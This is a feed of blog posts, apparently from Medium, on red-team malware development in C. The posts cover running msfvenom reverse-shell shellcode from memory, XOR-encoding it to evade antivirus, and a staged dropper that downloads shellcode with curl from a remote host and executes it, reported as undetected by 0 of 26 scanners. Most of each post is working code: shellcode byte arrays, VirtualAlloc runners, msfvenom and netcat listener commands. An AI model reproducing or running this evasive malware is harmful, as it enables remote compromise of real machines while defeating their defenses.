ff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40&quot;<br>&quot;\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5&quot;<br>&quot;\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c&quot;<br>&quot;\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41&quot;<br>&quot;\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5&quot;;</pre><pre>int main()<br>{<br> char key = &#39;K&#39;;<br> int i = 0;<br> for (i; i&lt;sizeof(code); i++)<br> {<br>  printf(&quot;\\x%02x&quot;,code[i]^key);<br> }<br> <br>}</pre><p>The remaining code remains the same. Upon compilation and execution we receive the following output:</p><pre>\xb7\x03\xc8\xaf\xbb\xa3\x87\x4b\x4b\x4b\x0a\x1a\x0a\x1b\x19\x1a\x03\x7a\x99\x2e\x03\xc0\x19\x2b\x1d\x03\xc0\x19\x53\x03\xc0\x19\x6b\x06\x7a\x82\x03\xc0\x39\x1b\x03\x44\xfc\x01\x01\x03\x7a\x8b\xe7\x77\x2a\x37\x49\x67\x6b\x0a\x8a\x82\x46\x0a\x4a\x8a\xa9\xa6\x19\x0a\x1a\x03\xc0\x19\x6b\xc0\x09\x77\x03\x4a\x9b\x2d\xca\x33\x53\x40\x49\x44\xce\x39\x4b\x4b\x4b\xc0\xcb\xc3\x4b\x4b\x4b\x03\xce\x8b\x3f\x2c\x03\x4a\x9b\xc0\x03\x53\x0f\xc0\x0b\x6b\x1b\x02\x4a\x9b\xa8\x1d\x06\x7a\x82\x03\xb4\x82\x0a\xc0\x7f\xc3\x03\x4a\x9d\x03\x7a\x8b\x0a\x8a\x82\x46\xe7\x0a\x4a\x8a\x73\xab\x3e\xba\x07\x48\x07\x6f\x43\x0e\x72\x9a\x3e\x93\x13\x0f\xc0\x0b\x6f\x02\x4a\x9b\x2d\x0a\xc0\x47\x03\x0f\xc0\x0b\x57\x02\x4a\x9b\x0a\xc0\x4f\xc3\x03\x4a\x9b\x0a\x13\x0a\x13\x15\x12\x11\x0a\x13\x0a\x12\x0a\x11\x03\xc8\xa7\x6b\x0a\x19\xb4\xab\x13\x0a\x12\x11\x03\xc0\x59\xa2\x00\xb4\xb4\xb4\x16\x02\xf5\x3c\x38\x79\x14\x78\x79\x4b\x4b\x0a\x1d\x02\xc2\xad\x03\xca\xa7\xeb\x4a\x4b\x4b\x02\xc2\xae\x02\xf7\x49\x4b\x4a\xf0\x8b\xe3\xb5\xc9\x0a\x1f\x02\xc2\xaf\x07\xc2\xba\x0a\xf1\x07\x3c\x6d\x4c\xb4\x9e\x07\xc2\xa1\x23\x4a\x4a\x4b\x4b\x12\x0a\xf1\x62\xcb\x20\x4b\xb4\x9e\x21\x41\x0a\x15\x1b\x1b\x06\x7a\x82\x06\x7a\x8b\x03\xb4\x8b\x03\xc2\x89\x03\xb4\x8b\x03\xc2\x8a\x0a\xf1\xa1\x44\x94\xab\xb4\x9e\x03\xc2\x8c\x21\x5b\x0a\x13\x07\xc2\xa9\x03\xc2\xb2\x0a\xf1\xd2\xee\x3f\x2a\xb4\x9e\xce\x8b\x3f\x41\x02\xb4\x85\x3e\xae\xa3\xd8\x4b\x4b\x4b\x03\xc8\xa7\x5b\x03\xc2\xa9\x06\x7a\x82\x21\x4f\x0a\x13\x03\xc2\xb2\x0a\xf1\x49\x92\x83\x14\xb4\x9e\xc8\xb3\x4b\x35\x1e\x03\xc8\x8f\x6b\x15\xc2\xbd\x21\x0b\x0a\x12\x23\x4b\x5b\x4b\x4b\x0a\x13\x03\xc2\xb9\x03\x7a\x82\x0a\xf1\x13\xef\x18\xae\xb4\x9e\x03\xc2\x88\x02\xc2\x8c\x06\x7a\x82\x02\xc2\xbb\x03\xc2\x91\x03\xc2\xb2\x0a\xf1\x49\x92\x83\x14\xb4\x9e\xc8\xb3\x4b\x36\x63\x13\x0a\x1c\x12\x23\x4b\x0b\x4b\x4b\x0a\x13\x21\x4b\x11\x0a\xf1\x40\x64\x44\x7b\xb4\x9e\x1c\x12\x0a\xf1\x3e\x25\x06\x2a\xb4\x9e\x02\xb4\x85\xa2\x77\xb4\xb4\xb4\x03\x4a\x88\x03\x62\x8d\x03\xce\xbd\x3e\xff\x0a\xb4\xac\x13\x21\x4b\x12\x02\x8c\x89\xbb\xfe\xe9\x1d\xb4\x9e\x4b</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Af6_sgzkCz8l4KYN56tsJg.png" /></figure><p>Now, let’s repeat the process by copying the output to decryptor.c while implementing Windows APIs for shell execution:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;</pre><pre>unsigned char code[] = &quot;\xb7\x03\xc8\xaf\xbb\xa3\x87\x4b\x4b\x4b\x0a\x1a\x0a\x1b\x19\x1a\x03\x7a\x99\x2e\x03\xc0\x19\x2b\x1d\x03\xc0\x19\x53\x03\xc0\x19\x6b\x06\x7a\x82\x03\xc0\x39\x1b\x03\x44\xfc\x01\x01\x03\x7a\x8b\xe7\x77\x2a\x37\x49\x67\x6b\x0a\x8a\x82\x46\x0a\x4a\x8a\xa9\xa6\x19\x0a\x1a\x03\xc0\x19\x6b\xc0\x09\x77\x03\x4a\x9b\x2d\xca\x33\x53\x40\x49\x44\xce\x39\x4b\x4b\x4b\xc0\xcb\xc3\x4b\x4b\x4b\x03\xce\x8b\x3f\x2c\x03\x4a\x9b\xc0\x03\x53\x0f\xc0\x0b\x6b\x1b\x02\x4a\x9b\xa8\x1d\x06\x7a\x82\x03\xb4\x82\x0a\xc0\x7f\xc3\x03\x4a\x9d\x03\x7a\x8b\x0a\x8a\x82\x46\xe7\x0a\x4a\x8a\x73\xab\x3e\xba\x07\x48\x07\x6f\x43\x0e\x72\x9a\x3e\x93\x13\x0f\xc0\x0b\x6f\x02\x4a\x9b\x2d\x0a\xc0\x47\x03\x0f\xc0\x0b\x57\x02\x4a\x9b\x0a\xc0\x4f\xc3\x03\x4a\x9b\x0a\x13\x0a\x13\x15\x12\x11\x0a\x13\x0a\x12\x0a\x11\x03\xc8\xa7\x6b\x0a\x19\xb4\xab\x13\x0a\x12\x11\x03\xc0\x59\xa2\x00\xb4\xb4\xb4\x16\x02\xf5\x3c\x38\x79\x14\x78\x79\x4b\x4b\x0a\x1d\x02\xc2\xad\x03\xca\xa7\xeb\x4a\x4b\x4b\x02\xc2\xae\x02\xf7\x49\x4b\x4a\xf0\x8b\xe3\xb5\xc9\x0a\x1f\x02\xc2\xaf\x07\xc2\xba\x0a\xf1\x07\x3c\x6d\x4c\xb4\x9e\x07\xc2\xa1\x23\x4a\x4a\x4b\x4b\x12\x0a\xf1\x62\xcb\x20\x4b\xb4\x9e\x21\x41\x0a\x15\x1b\x1b\x06\x7a\x82\x06\x7a\x8b\x03\xb4\x8b\x03\xc2\x89\x03\xb4\x8b\x03\xc2\x8a\x0a\xf1\xa1\x44\x94\xab\xb4\x9e\x03\xc2\x8c\x21\x5b\x0a\x13\x07\xc2\xa9\x03\xc2\xb2\x0a\xf1\xd2\xee\x3f\x2a\xb4\x9e\xce\x8b\x3f\x41\x02\xb4\x85\x3e\xae\xa3\xd8\x4b\x4b\x4b\x03\xc8\xa7\x5b\x03\xc2\xa9\x06\x7a\x82\x21\x4f\x0a\x13\x03\xc2\xb2\x0a\xf1\x49\x92\x83\x14\xb4\x9e\xc8\xb3\x4b\x35\x1e\x03\xc8\x8f\x6b\x15\xc2\xbd\x21\x0b\x0a\x12\x23\x4b\x5b\x4b\x4b\x0a\x13\x03\xc2\xb9\x03\x7a\x82\x0a\xf1\x13\xef\x18\xae\xb4\x9e\x03\xc2\x88\x02\xc2\x8c\x06\x7a\x82\x02\xc2\xbb\x03\xc2\x91\x03\xc2\xb2\x0a\xf1\x49\x92\x83\x14\xb4\x9e\xc8\xb3\x4b\x36\x63\x13\x0a\x1c\x12\x23\x4b\x0b\x4b\x4b\x0a\x13\x21\x4b\x11\x0a\xf1\x40\x64\x44\x7b\xb4\x9e\x1c\x12\x0a\xf1\x3e\x25\x06\x2a\xb4\x9e\x02\xb4\x85\xa2\x77\xb4\xb4\xb4\x03\x4a\x88\x03\x62\x8d\x03\xce\xbd\x3e\xff\x0a\xb4\xac\x13\x21\x4b\x12\x02\x8c\x89\xbb\xfe\xe9\x1d\xb4\x9e\x4b&quot;;<br>int main()<br>{<br> char key = &#39;K&#39;;<br> int i = 0;<br> for (i; i&lt;sizeof(code) - 1; i++)<br> {<br>  code[i] = code[i]^key;<br> }<br> <br> <br> void *exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br> memcpy(exec, code, sizeof code);<br> ((void(*)())exec)();<br> return 0;<br> <br>}</pre><blockquote>If you want to learn more how the shellcode runner is working, you can find it here: <a href="https://youtu.be/lkZWaycrr9I">https://youtu.be/lkZWaycrr9I</a></blockquote><p>By compiling and running the program, we can see the shell hangs, while receiving a callback:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*lLxraMQ8XC5EQHDwMTNPNA.png" /></figure><h3>Testing time</h3><p>For base model, we will use unencrypted shellcode runner in C:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;</pre><pre>unsigned char buf[] = <br>&quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52&quot;<br>&quot;\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48&quot;<br>&quot;\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9&quot;<br>&quot;\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41&quot;<br>&quot;\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48&quot;<br>&quot;\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01&quot;<br>&quot;\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48&quot;<br>&quot;\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0&quot;<br>&quot;\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c&quot;<br>&quot;\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0&quot;<br>&quot;\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04&quot;<br>&quot;\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59&quot;<br>&quot;\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48&quot;<br>&quot;\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33&quot;<br>&quot;\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00&quot;<br>&quot;\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\xfe\x82\x41\x54&quot;<br>&quot;\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c&quot;<br>&quot;\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff&quot;<br>&quot;\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2&quot;<br>&quot;\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48&quot;<br>&quot;\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99&quot;<br>&quot;\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63&quot;<br>&quot;\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57&quot;<br>&quot;\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44&quot;<br>&quot;\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6&quot;<br>&quot;\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff&quot;<br>&quot;\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5&quot;<br>&quot;\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff&quot;<br>&quot;\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48&quot;<br>&quot;\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13&quot;<br>&quot;\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5&quot;;</pre><pre>int main()<br>{<br> void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br> memcpy(exec, buf, sizeof buf);<br> ((void(*)())exec)();<br> return 0;<br>}</pre><p>By uploading it to antiscan.me we can observe 16/26 vendors detected it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*_rAp92VDQ7PM3Bmhc0-O2g.png" /></figure><p>After uploading xor-ed dropper, we can observe doubled evasion statistic:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*QtfGVxUHM3Q08zx2uRBzSA.png" /></figure><p>So, we went from 16/26 to 8/26 which is an amazing result based only on one technique!</p><h3>Conclusion</h3><p>AV evasion is fun but time consuming. I do not like repeating myself, but I feel like that one is important: Do not look at AV evasion as having a magic bullet that pierces through all vendors, it is rather a set of techniques, each one lowering the detection rate!</p><p>Hope you learned something new!</p><p>Stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a42cb978d6e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Creating Fully Undetectable Payload (FUD) with C]]></title>
            <link>https://medium.com/@lsecqt/creating-fully-undetectable-payload-fud-with-c-46a734837d1c?source=rss-35323664a4f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/46a734837d1c</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[av-evasion]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[av-bypass]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Lsec]]></dc:creator>
            <pubDate>Wed, 26 Oct 2022 19:55:14 GMT</pubDate>
            <atom:updated>2022-10-26T19:55:14.160Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome back my red teamers! Today’s blog is exciting because I personally did not expect such high result at evading AV vendors!</p><p>Let’s start with a little bit of history about that journey, some theory and dive into action!</p><blockquote>If you prefer watching a video instead of reading, you can find it here: <a href="https://youtu.be/Pu06zYUdpGs">https://youtu.be/Pu06zYUdpGs</a></blockquote><blockquote>Feel free to join my Discord, where we share ideas, knowledge and experience in penetration testing / red teaming: <a href="https://discord.gg/dWCe5ZMvtQ">https://discord.gg/dWCe5ZMvtQ</a></blockquote><h3>History</h3><p>With the previous blog / video (<a href="https://www.youtube.com/watch?v=lkZWaycrr9I">https://www.youtube.com/watch?v=lkZWaycrr9I</a>) I created a simple shellcode runner using C. It was done by invoking windows APIs and it was surprisingly easy to implement this on C.</p><p>The problem was that many AV vendors caught the dropper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*XmIpRmFXGqr92iWWdjgWpg.png" /></figure><p>This was mainly because:</p><ol><li>The shellcode was from msfvenom, obviously with known signature.</li><li>The shellcode was stageless, so the full byte array was embedded into global variable.</li></ol><p>This is not how we want to bypass AV vendors but was a nice demo to see how to run raw machine instructions (shellcode) using C.</p><p>Now it is time to upgrade!</p><h3>Theory</h3><p>The main goal now is to reduce the amount of triggered AV vendors by implementing staging.</p><blockquote>Staging is simply dividing the execution flow into parts, mainly by downloading the instructions (shellcode) from remote location on runtime. This way signature-based detection is bypassed, since the dropper does not contain any malicious instructions.</blockquote><p>The problem is that web requests are hard to implement with low level language like C. All the data and parsing process is tough, that’s why I decided to go for different approach.</p><p>The idea behind the stager is simply to run a native OS command (curl) to download the shellcode and parse it into a variable. Executing OS command in C is simple, it is enough to just call system() with the command as a parameter. So, the download cradle would be:</p><pre>system(curl <a href="http://192.168.254.130/code.bin">http://192.168.254.130/code.bin</a>);</pre><p>The libraries the code requires are the following:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;windows.h&gt;</pre><p>The only thing we need to discuss is how to parse system output to a variable. Luckily, I found this solution is stackoverflow: <a href="https://stackoverflow.com/questions/5919622/how-to-store-the-system-command-output-in-a-variable">https://stackoverflow.com/questions/5919622/how-to-store-the-system-command-output-in-a-variable</a></p><p>Stating that, by running system command with popen, we can append it’s output to character array, JUST WHAT WE NEEDED!</p><p>The sample code from the answer is parsing “ls” command character by character:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;</pre><pre>int main()<br>{<br>    FILE *fpipe;<br>    char *command = &quot;ls&quot;;<br>    char c = 0;</pre><pre>if (0 == (fpipe = (FILE*)popen(command, &quot;r&quot;)))<br>    {<br>        perror(&quot;popen() failed.&quot;);<br>        exit(EXIT_FAILURE);<br>    }</pre><pre>while (fread(&amp;c, sizeof c, 1, fpipe))<br>    {<br>        printf(&quot;%c&quot;, c);<br>    }</pre><pre>pclose(fpipe);</pre><pre>return EXIT_SUCCESS;<br>}</pre><p>Now, let’s combine the pieces and make our stager.</p><h3>Action</h3><p>Let’s use the answer as a template but modify few things. The first thing that needs to be changed, is the command itself.</p><pre>char *command = &quot;curl <a href="http://192.168.254.130/code.bin">http://192.168.254.130/code.bin</a>&quot;;</pre><p>Now, let’s generate a payload file in bynary format and call it “code.bin”. For this demo I was using STAGELESS payload from msfvenom:</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin</pre><blockquote>Keep in mind that it is always better idea to stick with x64 bit shellcode and processes, since most AV vendor are better optimized for x86 architecture!</blockquote><p>From the output we can observe that the payload size is exactly 460 bytes. That is important!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*SXdWc4Asmv6ly_JvkEUBuw.png" /></figure><p>Now let’s create a variable to hold the shellcode data.</p><pre>unsigned char code[460];</pre><p>Then, let’s create a counter to loop through the array, we will need this for appending the shellcode char by char:</p><pre>int counter = 0;</pre><p>And now modify the while loop to append the read shellcode into the array:</p><pre>while (fread(&amp;c, sizeof c, 1, fpipe))<br>    {<br>        code[counter] = c;<br>        printf(&quot;%c&quot;, code[counter]);<br>        counter = counter + 1;<br>    }</pre><p>NICE! The next step is to simply invoke the shellcode as we used to do it into the previous blogpost: <a href="https://medium.com/@lsecqt/red-teaming-101-executing-malicious-shellcode-with-c-a-guide-for-beginners-439bff63721d">https://medium.com/@lsecqt/red-teaming-101-executing-malicious-shellcode-with-c-a-guide-for-beginners-439bff63721d</a></p><p>To summarise, the full code looks like the following:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;windows.h&gt;</pre><pre>int main()<br>{<br>    FILE *fpipe;<br>    char *command = &quot;curl <a href="http://192.168.254.130/code.bin">http://192.168.254.130/code.bin</a>&quot;;<br>    char c = 0;<br>    unsigned char code[460];<br>    int counter = 0;</pre><pre>if (0 == (fpipe = (FILE*)popen(command, &quot;r&quot;)))<br>    {<br>        perror(&quot;popen() failed.&quot;);<br>        exit(EXIT_FAILURE);<br>    }</pre><pre>while (fread(&amp;c, sizeof c, 1, fpipe))<br>    {<br>        code[counter] = c;<br>        printf(&quot;%c&quot;, code[counter]);<br>        counter = counter + 1;<br>    }</pre><pre>pclose(fpipe);<br>    <br>    void *exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br> memcpy(exec, code, sizeof code);<br> ((void(*)())exec)();<br> return 0;</pre><pre>}</pre><h3>Time for some testing</h3><p>The first test is of course to see if this code is actually working. So let’s setup the environment.</p><p>On the kali side we need to host the shellcode and setup a listener. This is done by:</p><pre>python3 -m http.server 80</pre><p>And:</p><pre>nc -nvlp 443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AY4VyvS8mD1jrkvPvpkYTg.png" /></figure><p>Now let’s execute the payload from the development machine:</p><p>The shell prints the downloaded code, and hangs, which we know is a good sign meaning something is going on. And it is, we catched the shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S3bc1aWBk4zJxdeucmAmkQ.png" /></figure><p>So far so good, let’s test it against Windows 10 Defender. Let’s first make sure it is enabled:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*UThMEu3Mk1-E5orM86BjVA.png" /></figure><p>It is, we were able to download the file without any kind of disruptions, and upon execution we can observer the same result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*eaMw822MV4heNWNCvg61AA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*70D5SJtrFrVSvr1-qFe_eg.png" /></figure><p>Amazing!</p><p>Now let’s take it one step further and test for most known AV vendors on <a href="https://antiscan.me/">https://antiscan.me/</a></p><p>Here is where the things got interesting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*LDI9QlLzG8_X-5Fe8vLK3Q.png" /></figure><p>0 / 26 FLAGGED THE FILE FOR MALICIOUS!!!</p><blockquote>Here is the place to say that I am not responsible for your actions with that code, so think before doing something!</blockquote><h3>Conclusion</h3><p>Sometimes by implementing simple processes, you can achieve massive results. The point is to try and experiment as much as you can. You will never get the right answer from the first time.</p><p>Thank you for your time spent reading / watching. Hope you learned something new!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=46a734837d1c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Red Teaming 101: Executing Malicious Shellcode with C — a guide for beginners]]></title>
            <link>https://medium.com/@lsecqt/red-teaming-101-executing-malicious-shellcode-with-c-a-guide-for-beginners-439bff63721d?source=rss-35323664a4f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/439bff63721d</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[c-programming]]></category>
            <dc:creator><![CDATA[Lsec]]></dc:creator>
            <pubDate>Tue, 18 Oct 2022 20:32:02 GMT</pubDate>
            <atom:updated>2022-10-18T20:32:02.835Z</atom:updated>
            <content:encoded><![CDATA[<h3>Red Teaming 101: Executing Malicious Shellcode with C — a guide for beginners</h3><p>Hello fellow hackers. While doing Red Teaming, it is important to stay as stealthy as possible. One way of achieving that is to operate as much as you can from memory.</p><p>There are many ways to perform memory operations, and it all comes to coding. So set yourself for some offensive coding!</p><p>If you prefer watching a video instead of reading, feel welcomed to my YouTube Channel: <a href="https://www.youtube.com/c/Lsecqt">https://www.youtube.com/c/Lsecqt</a></p><h3>Theory</h3><p>Let’s answer a few questions:</p><ol><li>Why do we need to execute shellcode?</li><li>Why using C?</li></ol><h4>Why do we need shellcode in the first place?</h4><p>The first question is complicated for beginners. The good Pentester / Red Teamer is one who can write his own tools, such as stagers, c2 beacons, exploits and so on… If you rely on publicly available tools only, your cover is being destroyed, since all of major EDR are updated with their signatures. That’s why we must stick to custom code, but why do we need to use shellcode? Well … In order to operate from memory, (which most of the times means to migrate into a process while not dropping files to disk) we must supply instructions, the machine itself can understand.</p><blockquote>Shellcode is hexadecimal representation of raw CPU instructions. Most of the times shellcodes are redirect instructions for stdin, stdout and stderr to remote listener (that is how reverse shell is really working).</blockquote><h4>Now, why do we need to use C?</h4><p>Can’t we use more beginner friendly programming language? We can, but there is a catch!</p><p>In order to work with memory, we must access what are so called, Windows APIs. This is the internal mechanism of how Windows really works, form allocating memory to spawning a process. In order to work with such APIs, we must add specific libraries or declare specific methods. This can be complex for higher level programming languages, since for each WIN32 API method needed, a new DLLImport must be performed!</p><blockquote>Also, languages like C# are using garbage collectors, while low level programming languages have direct memory access (This must be taken seriously).</blockquote><p>When it comes to C/C++, the only thing we must perform in order to have access to such APIs, is to include &lt;windows.h&gt; library. Simple right?</p><p>Since C/C++ are low level languages, the integration for Windows API and memory operation is really simple. Although the languages are not friendly when it comes to OOP, it is extremely handy when it comes to Penetration Testing and Red Teaming.</p><blockquote>Each C/C++ program will generate a Portable Executable (PE) when the code is successfully compiled, which is perfect for c2 droppers, since no additional files (such as dlls) are required.</blockquote><h3>Action</h3><p>The idea of today’s exercise is to create a C program, that can execute shellcode within its own process memory context. We will build up from scratch and showcase more complex things in future.</p><p>In order to run shellcode, we first must have one, right? Let’s generate a shell_reverse_tcp shellcode with msfvenom:</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f c</pre><blockquote>It is highly recommended to stick as much as you can with 64 bits architecture. Sometimes by just changing the architecture, we can escape some anti-virus solutions, since they are still optimized for 32bit malwares.</blockquote><p>In this demo, we will be using stagless payload just for simplicity. In real engagements we should code custom stagers, but that topic is not for today.</p><p>Let’s setup the listener now:</p><pre>nc -nvlp 443</pre><p>The listener is ready, let’s open C/C++ IDE (I personally use Dev-C++) and add library imports plus the shellcode generated from msfvenom as a global variable.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;</pre><pre>unsigned char buf[] = <br>&quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52&quot;<br>&quot;\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48&quot;<br>&quot;\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9&quot;<br>&quot;\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41&quot;<br>&quot;\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48&quot;<br>&quot;\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01&quot;<br>&quot;\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48&quot;<br>&quot;\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0&quot;<br>&quot;\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c&quot;<br>&quot;\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0&quot;<br>&quot;\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04&quot;<br>&quot;\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59&quot;<br>&quot;\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48&quot;<br>&quot;\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33&quot;<br>&quot;\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00&quot;<br>&quot;\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\xfe\x82\x41\x54&quot;<br>&quot;\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c&quot;<br>&quot;\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff&quot;<br>&quot;\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2&quot;<br>&quot;\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48&quot;<br>&quot;\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99&quot;<br>&quot;\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63&quot;<br>&quot;\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57&quot;<br>&quot;\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44&quot;<br>&quot;\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6&quot;<br>&quot;\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff&quot;<br>&quot;\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5&quot;<br>&quot;\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff&quot;<br>&quot;\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48&quot;<br>&quot;\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13&quot;<br>&quot;\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5&quot;;</pre><blockquote>It is important where we will store our shellcode buffer. It will be stored in different PE section if it is as a global variable or a local one. More about that in future!</blockquote><p>The next step is to define main method. All c programs must have main in order to understand from where to start execution.</p><pre>int 